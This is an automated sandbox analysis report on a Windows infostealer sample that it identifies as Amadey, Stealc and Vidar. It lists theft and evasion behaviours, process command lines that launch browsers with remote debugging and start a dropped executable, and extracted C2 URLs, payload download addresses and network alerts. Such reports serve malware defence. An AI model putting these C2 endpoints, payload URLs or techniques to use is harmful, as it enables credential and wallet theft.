Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1556901
MD5:	92f63d65d300b1eb836e62251a754767
SHA1:	f56c26a6e106bd720fe5424aad9d05e449f39a31
SHA256:	44205e1c63b9dd78eb35ae46b12c02aba936367c40fd1777f07e5d7c773ac3c2
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5032 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 92F63D65D300B1EB836E62251A754767)

chrome.exe (PID: 576 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 348 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 --field-trial-handle=2208,i,17352263737695313349,12628869929019264965,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7968 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8180 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2072,i,2537531693354189925,11348691119718681156,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8576 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBFHDHJKKJD.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsBFHDHJKKJD.exe (PID: 8556 cmdline: "C:\Users\user\DocumentsBFHDHJKKJD.exe" MD5: 03B9E85B193C6271F2999E206AA72387)

skotes.exe (PID: 5536 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 03B9E85B193C6271F2999E206AA72387)

msedge.exe (PID: 7312 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6764 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=2008,i,4387113299904309838,11392531126203961630,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8000 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6948 --field-trial-handle=2008,i,4387113299904309838,11392531126203961630,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8216 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7240 --field-trial-handle=2008,i,4387113299904309838,11392531126203961630,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7064 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5892 --field-trial-handle=2008,i,4387113299904309838,11392531126203961630,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8764 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 03B9E85B193C6271F2999E206AA72387)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2678974708.0000000000971000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2136155078.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.2764196524.00000000003C1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2678974708.0000000000A3C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000002.3394542986.0000000000531000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.2776183786.0000000000531000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2680544116.000000000116E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5032	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5032	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5032	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5032	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
23.2.skotes.exe.530000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.530000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.DocumentsBFHDHJKKJD.exe.3c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5032, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 576, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T13:01:15.216597+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T13:01:15.209380+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T13:01:15.493000+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T13:01:16.681954+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T13:01:15.500432+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T13:01:14.898092+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T13:03:05.388957+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50125	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T13:01:08.659665+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	50126	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T13:03:08.945214+0100	2803305	3	Unknown Traffic	192.168.2.5	50127	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T13:01:17.296705+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T13:01:37.057366+0100	2803304	3	Unknown Traffic	192.168.2.5	49802	185.215.113.206	80	TCP
2024-11-16T13:01:38.385529+0100	2803304	3	Unknown Traffic	192.168.2.5	49802	185.215.113.206	80	TCP
2024-11-16T13:01:39.305385+0100	2803304	3	Unknown Traffic	192.168.2.5	49802	185.215.113.206	80	TCP
2024-11-16T13:01:39.878352+0100	2803304	3	Unknown Traffic	192.168.2.5	49802	185.215.113.206	80	TCP
2024-11-16T13:01:41.395572+0100	2803304	3	Unknown Traffic	192.168.2.5	49802	185.215.113.206	80	TCP
2024-11-16T13:01:41.834844+0100	2803304	3	Unknown Traffic	192.168.2.5	49802	185.215.113.206	80	TCP
2024-11-16T13:01:46.052519+0100	2803304	3	Unknown Traffic	192.168.2.5	49947	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.16/mine/random.exeAjw	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/babababa.exem32	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.php;:R	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/babababa.exe623847	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/215.113.43/Zu7JuNko/index.php	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.php$	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000016.00000002.2764196524.00000000003C1000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.5032.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for domain / URL

Source: http://31.41.244.11/

Virustotal: Detection: 21%

Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 48%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C636C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C636C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.76:443 -> 192.168.2.5:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.76:443 -> 192.168.2.5:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:50097 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2707559377.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2707559377.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 18MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50125 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:50126

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 12:01:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 12:01:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 